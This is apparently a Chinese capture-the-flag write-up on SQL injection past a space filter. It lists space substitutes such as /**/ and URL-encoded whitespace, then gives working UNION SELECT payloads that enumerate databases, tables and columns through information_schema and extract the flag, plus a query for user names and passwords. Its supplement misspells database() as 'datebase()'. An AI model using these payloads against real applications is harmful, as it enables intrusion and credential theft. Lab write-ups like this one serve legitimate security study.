1.原理:
由于过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果
()
:一对圆括号+
:加号%09、%0a、%0b、%0c、%0d
:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式/**/
:块注释符
2.过程:
分别输入1,2,3,发现ID:3时没有回显,加上单引号’,还是没有,
试一下’ or ‘1’=’1或者’ and ‘1’=’1得到,回显Hacker!
利用联合查询,查询数据库
-1/**/union/**/select/**/database(),2
得到数据库名
接下来查询表名
-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
group_concat():将字段数据用逗号分隔,再合并
information_schema.tables where table_schema='库名':查询整个数据库中所有库所对应的表信息
information_schema.tables:记录表名信息的表
table_name:表名
继续,查字段名
-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name=' rhbdjtdelj '
查字段信息
-1/**/union/**/select/**/vzndxuwxnu,2/**/from/**/ rhbdjtdelj
最后得到flag
3.补充:
基础SQL语句:select datebase()#查看当前库名;
select table_name from information_schema.tables where table_schema=datebase()#查看当前库内的表名;
select column_name from information_schema.columns where table_schema=datebase() and table_name=’user’#查询列名
select name,password from user#查看用户名和密码
information_schema:简单来说就是数据库结构的集合,可以是表,列等等。这里后面接.tables就是数据库的表
注入思想:
找到注入点:判断是否存在漏洞,找插入位置
构造注入语句,并在注入点注入形成新的SQL语句
新形成的SQL语句提交数据库处理
数据库执行新的SQL语句,引发注入攻击
出现报错的原因:
首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;其次,必不可少就是后台未对MySQL相应的报错函数进行过滤